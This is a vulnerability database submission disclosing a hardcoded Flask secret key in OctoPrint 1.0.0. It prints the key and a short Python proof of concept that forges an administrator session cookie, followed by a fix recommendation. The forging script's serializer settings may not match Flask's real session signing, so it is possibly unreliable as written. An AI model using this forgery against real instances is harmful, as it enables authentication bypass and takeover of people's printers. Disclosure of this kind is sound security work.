提交 #994545: OctoPrint 1.0.0 Hardcoded Flask Secret Key leading to Session Forgery & Authenti

Vulnerability Description
OctoPrint 1.0.0 uses a static, hardcoded Flask secret key for signing client-side session cookies. Due to the publicly known fixed key, attackers can forge valid signed session cookies with arbitrary user identity data, achieving full authentication bypass and obtaining administrator privileges on all affected instances.

Technical Details
Flask web framework stores session data on the client side and verifies integrity via HMAC signature using the server secret key. OctoPrint 1.0.0 hardcodes the secret key in the source code. All deployed instances share exactly the same secret key. Attackers can craft arbitrary authenticated session data, sign it with the public key, and bypass the entire login mechanism to become a valid administrator user.

Affected Version
OctoPrint 1.0.0

Problematic Code
app.secret_key = "k3PuVYgtxNm8DXKKTw2nWmFQQun9qceV"

Trigger Conditions
1. OctoPrint 1.0.0 service is running. 2. Network accessible. 3. No user interaction required.

Proof of Concept
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer

SECRET_KEY = "k3PuVYgtxNm8DXKKTw2nWmFQQun9qceV"
session_data = {
"_user_id": "1",
"identity.id": "octoprint",
"identity.auth_type": "session"
}
serializer = URLSafeTimedSerializer(SECRET_KEY, salt="session")
forged_session = serializer.dumps(session_data)
print(forged_session)

Using the forged session cookie can access all administrator-only interfaces.

Fix Recommendation
Remove hardcoded secret key. Generate a unique random secret key during first installation and store it in local secure configuration file with strict file permission. Rotate keys periodically and use server-side session storage.

• 来源: ⚠️ https://github.com/OctoPrint/OctoPrint
• 用户: Anonymous User
• 提交: 2026-09-22 19時01分 (1 月前)
• 管理: 2026-10-24 16時32分 (1 month later)
• 状态: 已接受
• VulDB条目: 426129 [OctoPrint 1.0.0/1.1.0 Flask Secret Key 弱加密]
• 积分: 20